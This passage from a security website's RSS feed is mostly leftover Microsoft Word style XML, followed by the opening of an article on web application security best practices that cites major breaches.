  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="macro"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="toa heading"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="List"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="List Bullet"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="List Number"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="List 2"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="List 3"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="List 4"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="List 5"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="List Bullet 2"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="List Bullet 3"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="List Bullet 4"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="List Bullet 5"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="List Number 2"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="List Number 3"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="List Number 4"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="List Number 5"/>
  <w:LsdException Locked="false" Priority="10" QFormat="true" Name="Title"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Closing"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Signature"/>
  <w:LsdException Locked="false" Priority="1" SemiHidden="true"
   UnhideWhenUsed="true" Name="Default Paragraph Font"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Body Text"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Body Text Indent"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="List Continue"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="List Continue 2"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="List Continue 3"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="List Continue 4"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="List Continue 5"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Message Header"/>
  <w:LsdException Locked="false" Priority="11" QFormat="true" Name="Subtitle"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Salutation"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Date"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Body Text First Indent"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Body Text First Indent 2"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Note Heading"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Body Text 2"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Body Text 3"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Body Text Indent 2"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Body Text Indent 3"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Block Text"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Hyperlink"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="FollowedHyperlink"/>
  <w:LsdException Locked="false" Priority="22" QFormat="true" Name="Strong"/>
  <w:LsdException Locked="false" Priority="20" QFormat="true" Name="Emphasis"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Document Map"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Plain Text"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="E-mail Signature"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="HTML Top of Form"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="HTML Bottom of Form"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Normal (Web)"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="HTML Acronym"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="HTML Address"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="HTML Cite"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="HTML Code"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="HTML Definition"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="HTML Keyboard"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="HTML Preformatted"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="HTML Sample"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="HTML Typewriter"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="HTML Variable"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Normal Table"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="annotation subject"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="No List"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Outline List 1"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Outline List 2"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Outline List 3"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table Simple 1"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table Simple 2"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table Simple 3"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table Classic 1"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table Classic 2"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table Classic 3"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table Classic 4"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table Colorful 1"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table Colorful 2"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table Colorful 3"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table Columns 1"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table Columns 2"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table Columns 3"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table Columns 4"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table Columns 5"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table Grid 1"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table Grid 2"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table Grid 3"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table Grid 4"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table Grid 5"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table Grid 6"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table Grid 7"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table Grid 8"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table List 1"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table List 2"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table List 3"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table List 4"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table List 5"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table List 6"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table List 7"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table List 8"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table 3D effects 1"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table 3D effects 2"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table 3D effects 3"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table Contemporary"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table Elegant"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table Professional"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table Subtle 1"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table Subtle 2"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table Web 1"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table Web 2"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table Web 3"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Balloon Text"/>
  <w:LsdException Locked="false" Priority="39" Name="Table Grid"/>
  <w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
   Name="Table Theme"/>
  <w:LsdException Locked="false" SemiHidden="true" Name="Placeholder Text"/>
  <w:LsdException Locked="false" Priority="1" QFormat="true" Name="No Spacing"/>
  <w:LsdException Locked="false" Priority="60" Name="Light Shading"/>
  <w:LsdException Locked="false" Priority="61" Name="Light List"/>
  <w:LsdException Locked="false" Priority="62" Name="Light Grid"/>
  <w:LsdException Locked="false" Priority="63" Name="Medium Shading 1"/>
  <w:LsdException Locked="false" Priority="64" Name="Medium Shading 2"/>
  <w:LsdException Locked="false" Priority="65" Name="Medium List 1"/>
  <w:LsdException Locked="false" Priority="66" Name="Medium List 2"/>
  <w:LsdException Locked="false" Priority="67" Name="Medium Grid 1"/>
  <w:LsdException Locked="false" Priority="68" Name="Medium Grid 2"/>
  <w:LsdException Locked="false" Priority="69" Name="Medium Grid 3"/>
  <w:LsdException Locked="false" Priority="70" Name="Dark List"/>
  <w:LsdException Locked="false" Priority="71" Name="Colorful Shading"/>
  <w:LsdException Locked="false" Priority="72" Name="Colorful List"/>
  <w:LsdException Locked="false" Priority="73" Name="Colorful Grid"/>
  <w:LsdException Locked="false" Priority="60" Name="Light Shading Accent 1"/>
  <w:LsdException Locked="false" Priority="61" Name="Light List Accent 1"/>
  <w:LsdException Locked="false" Priority="62" Name="Light Grid Accent 1"/>
  <w:LsdException Locked="false" Priority="63" Name="Medium Shading 1 Accent 1"/>
  <w:LsdException Locked="false" Priority="64" Name="Medium Shading 2 Accent 1"/>
  <w:LsdException Locked="false" Priority="65" Name="Medium List 1 Accent 1"/>
  <w:LsdException Locked="false" SemiHidden="true" Name="Revision"/>
  <w:LsdException Locked="false" Priority="34" QFormat="true"
   Name="List Paragraph"/>
  <w:LsdException Locked="false" Priority="29" QFormat="true" Name="Quote"/>
  <w:LsdException Locked="false" Priority="30" QFormat="true"
   Name="Intense Quote"/>
  <w:LsdException Locked="false" Priority="66" Name="Medium List 2 Accent 1"/>
  <w:LsdException Locked="false" Priority="67" Name="Medium Grid 1 Accent 1"/>
  <w:LsdException Locked="false" Priority="68" Name="Medium Grid 2 Accent 1"/>
  <w:LsdException Locked="false" Priority="69" Name="Medium Grid 3 Accent 1"/>
  <w:LsdException Locked="false" Priority="70" Name="Dark List Accent 1"/>
  <w:LsdException Locked="false" Priority="71" Name="Colorful Shading Accent 1"/>
  <w:LsdException Locked="false" Priority="72" Name="Colorful List Accent 1"/>
  <w:LsdException Locked="false" Priority="73" Name="Colorful Grid Accent 1"/>
  <w:LsdException Locked="false" Priority="60" Name="Light Shading Accent 2"/>
  <w:LsdException Locked="false" Priority="61" Name="Light List Accent 2"/>
  <w:LsdException Locked="false" Priority="62" Name="Light Grid Accent 2"/>
  <w:LsdException Locked="false" Priority="63" Name="Medium Shading 1 Accent 2"/>
  <w:LsdException Locked="false" Priority="64" Name="Medium Shading 2 Accent 2"/>
  <w:LsdException Locked="false" Priority="65" Name="Medium List 1 Accent 2"/>
  <w:LsdException Locked="false" Priority="66" Name="Medium List 2 Accent 2"/>
  <w:LsdException Locked="false" Priority="67" Name="Medium Grid 1 Accent 2"/>
  <w:LsdException Locked="false" Priority="68" Name="Medium Grid 2 Accent 2"/>
  <w:LsdException Locked="false" Priority="69" Name="Medium Grid 3 Accent 2"/>
  <w:LsdException Locked="false" Priority="70" Name="Dark List Accent 2"/>
  <w:LsdException Locked="false" Priority="71" Name="Colorful Shading Accent 2"/>
  <w:LsdException Locked="false" Priority="72" Name="Colorful List Accent 2"/>
  <w:LsdException Locked="false" Priority="73" Name="Colorful Grid Accent 2"/>
  <w:LsdException Locked="false" Priority="60" Name="Light Shading Accent 3"/>
  <w:LsdException Locked="false" Priority="61" Name="Light List Accent 3"/>
  <w:LsdException Locked="false" Priority="62" Name="Light Grid Accent 3"/>
  <w:LsdException Locked="false" Priority="63" Name="Medium Shading 1 Accent 3"/>
  <w:LsdException Locked="false" Priority="64" Name="Medium Shading 2 Accent 3"/>
  <w:LsdException Locked="false" Priority="65" Name="Medium List 1 Accent 3"/>
  <w:LsdException Locked="false" Priority="66" Name="Medium List 2 Accent 3"/>
  <w:LsdException Locked="false" Priority="67" Name="Medium Grid 1 Accent 3"/>
  <w:LsdException Locked="false" Priority="68" Name="Medium Grid 2 Accent 3"/>
  <w:LsdException Locked="false" Priority="69" Name="Medium Grid 3 Accent 3"/>
  <w:LsdException Locked="false" Priority="70" Name="Dark List Accent 3"/>
  <w:LsdException Locked="false" Priority="71" Name="Colorful Shading Accent 3"/>
  <w:LsdException Locked="false" Priority="72" Name="Colorful List Accent 3"/>
  <w:LsdException Locked="false" Priority="73" Name="Colorful Grid Accent 3"/>
  <w:LsdException Locked="false" Priority="60" Name="Light Shading Accent 4"/>
  <w:LsdException Locked="false" Priority="61" Name="Light List Accent 4"/>
  <w:LsdException Locked="false" Priority="62" Name="Light Grid Accent 4"/>
  <w:LsdException Locked="false" Priority="63" Name="Medium Shading 1 Accent 4"/>
  <w:LsdException Locked="false" Priority="64" Name="Medium Shading 2 Accent 4"/>
  <w:LsdException Locked="false" Priority="65" Name="Medium List 1 Accent 4"/>
  <w:LsdException Locked="false" Priority="66" Name="Medium List 2 Accent 4"/>
  <w:LsdException Locked="false" Priority="67" Name="Medium Grid 1 Accent 4"/>
  <w:LsdException Locked="false" Priority="68" Name="Medium Grid 2 Accent 4"/>
  <w:LsdException Locked="false" Priority="69" Name="Medium Grid 3 Accent 4"/>
  <w:LsdException Locked="false" Priority="70" Name="Dark List Accent 4"/>
  <w:LsdException Locked="false" Priority="71" Name="Colorful Shading Accent 4"/>
  <w:LsdException Locked="false" Priority="72" Name="Colorful List Accent 4"/>
  <w:LsdException Locked="false" Priority="73" Name="Colorful Grid Accent 4"/>
  <w:LsdException Locked="false" Priority="60" Name="Light Shading Accent 5"/>
  <w:LsdException Locked="false" Priority="61" Name="Light List Accent 5"/>
  <w:LsdException Locked="false" Priority="62" Name="Light Grid Accent 5"/>
  <w:LsdException Locked="false" Priority="63" Name="Medium Shading 1 Accent 5"/>
  <w:LsdException Locked="false" Priority="64" Name="Medium Shading 2 Accent 5"/>
  <w:LsdException Locked="false" Priority="65" Name="Medium List 1 Accent 5"/>
  <w:LsdException Locked="false" Priority="66" Name="Medium List 2 Accent 5"/>
  <w:LsdException Locked="false" Priority="67" Name="Medium Grid 1 Accent 5"/>
  <w:LsdException Locked="false" Priority="68" Name="Medium Grid 2 Accent 5"/>
  <w:LsdException Locked="false" Priority="69" Name="Medium Grid 3 Accent 5"/>
  <w:LsdException Locked="false" Priority="70" Name="Dark List Accent 5"/>
  <w:LsdException Locked="false" Priority="71" Name="Colorful Shading Accent 5"/>
  <w:LsdException Locked="false" Priority="72" Name="Colorful List Accent 5"/>
  <w:LsdException Locked="false" Priority="73" Name="Colorful Grid Accent 5"/>
  <w:LsdException Locked="false" Priority="60" Name="Light Shading Accent 6"/>
  <w:LsdException Locked="false" Priority="61" Name="Light List Accent 6"/>
  <w:LsdException Locked="false" Priority="62" Name="Light Grid Accent 6"/>
  <w:LsdException Locked="false" Priority="63" Name="Medium Shading 1 Accent 6"/>
  <w:LsdException Locked="false" Priority="64" Name="Medium Shading 2 Accent 6"/>
  <w:LsdException Locked="false" Priority="65" Name="Medium List 1 Accent 6"/>
  <w:LsdException Locked="false" Priority="66" Name="Medium List 2 Accent 6"/>
  <w:LsdException Locked="false" Priority="67" Name="Medium Grid 1 Accent 6"/>
  <w:LsdException Locked="false" Priority="68" Name="Medium Grid 2 Accent 6"/>
  <w:LsdException Locked="false" Priority="69" Name="Medium Grid 3 Accent 6"/>
  <w:LsdException Locked="false" Priority="70" Name="Dark List Accent 6"/>
  <w:LsdException Locked="false" Priority="71" Name="Colorful Shading Accent 6"/>
  <w:LsdException Locked="false" Priority="72" Name="Colorful List Accent 6"/>
  <w:LsdException Locked="false" Priority="73" Name="Colorful Grid Accent 6"/>
  <w:LsdException Locked="false" Priority="19" QFormat="true"
   Name="Subtle Emphasis"/>
  <w:LsdException Locked="false" Priority="21" QFormat="true"
   Name="Intense Emphasis"/>
  <w:LsdException Locked="false" Priority="31" QFormat="true"
   Name="Subtle Reference"/>
  <w:LsdException Locked="false" Priority="32" QFormat="true"
   Name="Intense Reference"/>
  <w:LsdException Locked="false" Priority="33" QFormat="true" Name="Book Title"/>
  <w:LsdException Locked="false" Priority="37" SemiHidden="true"
   UnhideWhenUsed="true" Name="Bibliography"/>
  <w:LsdException Locked="false" Priority="39" SemiHidden="true"
   UnhideWhenUsed="true" QFormat="true" Name="TOC Heading"/>
  <w:LsdException Locked="false" Priority="41" Name="Plain Table 1"/>
  <w:LsdException Locked="false" Priority="42" Name="Plain Table 2"/>
  <w:LsdException Locked="false" Priority="43" Name="Plain Table 3"/>
  <w:LsdException Locked="false" Priority="44" Name="Plain Table 4"/>
  <w:LsdException Locked="false" Priority="45" Name="Plain Table 5"/>
  <w:LsdException Locked="false" Priority="40" Name="Grid Table Light"/>
  <w:LsdException Locked="false" Priority="46" Name="Grid Table 1 Light"/>
  <w:LsdException Locked="false" Priority="47" Name="Grid Table 2"/>
  <w:LsdException Locked="false" Priority="48" Name="Grid Table 3"/>
  <w:LsdException Locked="false" Priority="49" Name="Grid Table 4"/>
  <w:LsdException Locked="false" Priority="50" Name="Grid Table 5 Dark"/>
  <w:LsdException Locked="false" Priority="51" Name="Grid Table 6 Colorful"/>
  <w:LsdException Locked="false" Priority="52" Name="Grid Table 7 Colorful"/>
  <w:LsdException Locked="false" Priority="46"
   Name="Grid Table 1 Light Accent 1"/>
  <w:LsdException Locked="false" Priority="47" Name="Grid Table 2 Accent 1"/>
  <w:LsdException Locked="false" Priority="48" Name="Grid Table 3 Accent 1"/>
  <w:LsdException Locked="false" Priority="49" Name="Grid Table 4 Accent 1"/>
  <w:LsdException Locked="false" Priority="50" Name="Grid Table 5 Dark Accent 1"/>
  <w:LsdException Locked="false" Priority="51"
   Name="Grid Table 6 Colorful Accent 1"/>
  <w:LsdException Locked="false" Priority="52"
   Name="Grid Table 7 Colorful Accent 1"/>
  <w:LsdException Locked="false" Priority="46"
   Name="Grid Table 1 Light Accent 2"/>
  <w:LsdException Locked="false" Priority="47" Name="Grid Table 2 Accent 2"/>
  <w:LsdException Locked="false" Priority="48" Name="Grid Table 3 Accent 2"/>
  <w:LsdException Locked="false" Priority="49" Name="Grid Table 4 Accent 2"/>
  <w:LsdException Locked="false" Priority="50" Name="Grid Table 5 Dark Accent 2"/>
  <w:LsdException Locked="false" Priority="51"
   Name="Grid Table 6 Colorful Accent 2"/>
  <w:LsdException Locked="false" Priority="52"
   Name="Grid Table 7 Colorful Accent 2"/>
  <w:LsdException Locked="false" Priority="46"
   Name="Grid Table 1 Light Accent 3"/>
  <w:LsdException Locked="false" Priority="47" Name="Grid Table 2 Accent 3"/>
  <w:LsdException Locked="false" Priority="48" Name="Grid Table 3 Accent 3"/>
  <w:LsdException Locked="false" Priority="49" Name="Grid Table 4 Accent 3"/>
  <w:LsdException Locked="false" Priority="50" Name="Grid Table 5 Dark Accent 3"/>
  <w:LsdException Locked="false" Priority="51"
   Name="Grid Table 6 Colorful Accent 3"/>
  <w:LsdException Locked="false" Priority="52"
   Name="Grid Table 7 Colorful Accent 3"/>
  <w:LsdException Locked="false" Priority="46"
   Name="Grid Table 1 Light Accent 4"/>
  <w:LsdException Locked="false" Priority="47" Name="Grid Table 2 Accent 4"/>
  <w:LsdException Locked="false" Priority="48" Name="Grid Table 3 Accent 4"/>
  <w:LsdException Locked="false" Priority="49" Name="Grid Table 4 Accent 4"/>
  <w:LsdException Locked="false" Priority="50" Name="Grid Table 5 Dark Accent 4"/>
  <w:LsdException Locked="false" Priority="51"
   Name="Grid Table 6 Colorful Accent 4"/>
  <w:LsdException Locked="false" Priority="52"
   Name="Grid Table 7 Colorful Accent 4"/>
  <w:LsdException Locked="false" Priority="46"
   Name="Grid Table 1 Light Accent 5"/>
  <w:LsdException Locked="false" Priority="47" Name="Grid Table 2 Accent 5"/>
  <w:LsdException Locked="false" Priority="48" Name="Grid Table 3 Accent 5"/>
  <w:LsdException Locked="false" Priority="49" Name="Grid Table 4 Accent 5"/>
  <w:LsdException Locked="false" Priority="50" Name="Grid Table 5 Dark Accent 5"/>
  <w:LsdException Locked="false" Priority="51"
   Name="Grid Table 6 Colorful Accent 5"/>
  <w:LsdException Locked="false" Priority="52"
   Name="Grid Table 7 Colorful Accent 5"/>
  <w:LsdException Locked="false" Priority="46"
   Name="Grid Table 1 Light Accent 6"/>
  <w:LsdException Locked="false" Priority="47" Name="Grid Table 2 Accent 6"/>
  <w:LsdException Locked="false" Priority="48" Name="Grid Table 3 Accent 6"/>
  <w:LsdException Locked="false" Priority="49" Name="Grid Table 4 Accent 6"/>
  <w:LsdException Locked="false" Priority="50" Name="Grid Table 5 Dark Accent 6"/>
  <w:LsdException Locked="false" Priority="51"
   Name="Grid Table 6 Colorful Accent 6"/>
  <w:LsdException Locked="false" Priority="52"
   Name="Grid Table 7 Colorful Accent 6"/>
  <w:LsdException Locked="false" Priority="46" Name="List Table 1 Light"/>
  <w:LsdException Locked="false" Priority="47" Name="List Table 2"/>
  <w:LsdException Locked="false" Priority="48" Name="List Table 3"/>
  <w:LsdException Locked="false" Priority="49" Name="List Table 4"/>
  <w:LsdException Locked="false" Priority="50" Name="List Table 5 Dark"/>
  <w:LsdException Locked="false" Priority="51" Name="List Table 6 Colorful"/>
  <w:LsdException Locked="false" Priority="52" Name="List Table 7 Colorful"/>
  <w:LsdException Locked="false" Priority="46"
   Name="List Table 1 Light Accent 1"/>
  <w:LsdException Locked="false" Priority="47" Name="List Table 2 Accent 1"/>
  <w:LsdException Locked="false" Priority="48" Name="List Table 3 Accent 1"/>
  <w:LsdException Locked="false" Priority="49" Name="List Table 4 Accent 1"/>
  <w:LsdException Locked="false" Priority="50" Name="List Table 5 Dark Accent 1"/>
  <w:LsdException Locked="false" Priority="51"
   Name="List Table 6 Colorful Accent 1"/>
  <w:LsdException Locked="false" Priority="52"
   Name="List Table 7 Colorful Accent 1"/>
  <w:LsdException Locked="false" Priority="46"
   Name="List Table 1 Light Accent 2"/>
  <w:LsdException Locked="false" Priority="47" Name="List Table 2 Accent 2"/>
  <w:LsdException Locked="false" Priority="48" Name="List Table 3 Accent 2"/>
  <w:LsdException Locked="false" Priority="49" Name="List Table 4 Accent 2"/>
  <w:LsdException Locked="false" Priority="50" Name="List Table 5 Dark Accent 2"/>
  <w:LsdException Locked="false" Priority="51"
   Name="List Table 6 Colorful Accent 2"/>
  <w:LsdException Locked="false" Priority="52"
   Name="List Table 7 Colorful Accent 2"/>
  <w:LsdException Locked="false" Priority="46"
   Name="List Table 1 Light Accent 3"/>
  <w:LsdException Locked="false" Priority="47" Name="List Table 2 Accent 3"/>
  <w:LsdException Locked="false" Priority="48" Name="List Table 3 Accent 3"/>
  <w:LsdException Locked="false" Priority="49" Name="List Table 4 Accent 3"/>
  <w:LsdException Locked="false" Priority="50" Name="List Table 5 Dark Accent 3"/>
  <w:LsdException Locked="false" Priority="51"
   Name="List Table 6 Colorful Accent 3"/>
  <w:LsdException Locked="false" Priority="52"
   Name="List Table 7 Colorful Accent 3"/>
  <w:LsdException Locked="false" Priority="46"
   Name="List Table 1 Light Accent 4"/>
  <w:LsdException Locked="false" Priority="47" Name="List Table 2 Accent 4"/>
  <w:LsdException Locked="false" Priority="48" Name="List Table 3 Accent 4"/>
  <w:LsdException Locked="false" Priority="49" Name="List Table 4 Accent 4"/>
  <w:LsdException Locked="false" Priority="50" Name="List Table 5 Dark Accent 4"/>
  <w:LsdException Locked="false" Priority="51"
   Name="List Table 6 Colorful Accent 4"/>
  <w:LsdException Locked="false" Priority="52"
   Name="List Table 7 Colorful Accent 4"/>
  <w:LsdException Locked="false" Priority="46"
   Name="List Table 1 Light Accent 5"/>
  <w:LsdException Locked="false" Priority="47" Name="List Table 2 Accent 5"/>
  <w:LsdException Locked="false" Priority="48" Name="List Table 3 Accent 5"/>
  <w:LsdException Locked="false" Priority="49" Name="List Table 4 Accent 5"/>
  <w:LsdException Locked="false" Priority="50" Name="List Table 5 Dark Accent 5"/>
  <w:LsdException Locked="false" Priority="51"
   Name="List Table 6 Colorful Accent 5"/>
  <w:LsdException Locked="false" Priority="52"
   Name="List Table 7 Colorful Accent 5"/>
  <w:LsdException Locked="false" Priority="46"
   Name="List Table 1 Light Accent 6"/>
  <w:LsdException Locked="false" Priority="47" Name="List Table 2 Accent 6"/>
  <w:LsdException Locked="false" Priority="48" Name="List Table 3 Accent 6"/>
  <w:LsdException Locked="false" Priority="49" Name="List Table 4 Accent 6"/>
  <w:LsdException Locked="false" Priority="50" Name="List Table 5 Dark Accent 6"/>
  <w:LsdException Locked="false" Priority="51"
   Name="List Table 6 Colorful Accent 6"/>
  <w:LsdException Locked="false" Priority="52"
   Name="List Table 7 Colorful Accent 6"/>
 </w:LatentStyles>
</xml><![endif]--><!-- [if gte mso 10]>

<![endif]-->]]></description>
			<category>Web Application Vulnerability Scanners</category>
			<pubDate>Sun, 17 Jan 2016 18:23:45 +1100</pubDate>
		</item>
		<item>
			<title>Web Application Security Best Practices that Help in Securing Your Web-Enabled App</title>
			<link>https://www.firewall.cx/security/web-application-vulnerability-scanners/web-application-security-best-practices.html</link>
			<guid isPermaLink="true">https://www.firewall.cx/security/web-application-vulnerability-scanners/web-application-security-best-practices.html</guid>
			<description><![CDATA[<p style="text-align: justify;"><img src="https://www.firewall.cx/images/stories/how-web-applications-can-become-more-secure-1.gif" alt="Web Application Security Best Practices" style="text-align: justify; margin: 7px; float: left;" title="Web Application Security Best Practices" />Successful web application attacks and the data breaches that are resulting from these attacks, have now become everyday news, with large corporations being hit constantly.</p>
<p style="text-align: justify;">Our article covering <a href="https://www.firewall.cx/tools-tips-reviews/security-articles/implications-of-unsecure-webservers-and-websites-for-oganizations-companies.html" target="_blank" title="Major Web Security Breaches">major security breaches</a> in well—known companies, clearly demonstrates that there are many gaps in web security, which are causing multi-million dollar damages to companies world-wide. In this article we analyze the <strong>best security practices and principals</strong> to help increase your <strong>web application security</strong>.</p>
<p style="text-align: justify;">While security experts are adamant that there is still much to improve in most web applications’ security, the gaping security holes that attackers are exploiting, are still present, as can be confirmed by some of the latest string of attacks on Yahoo and several departments of the government of the United States.</p>
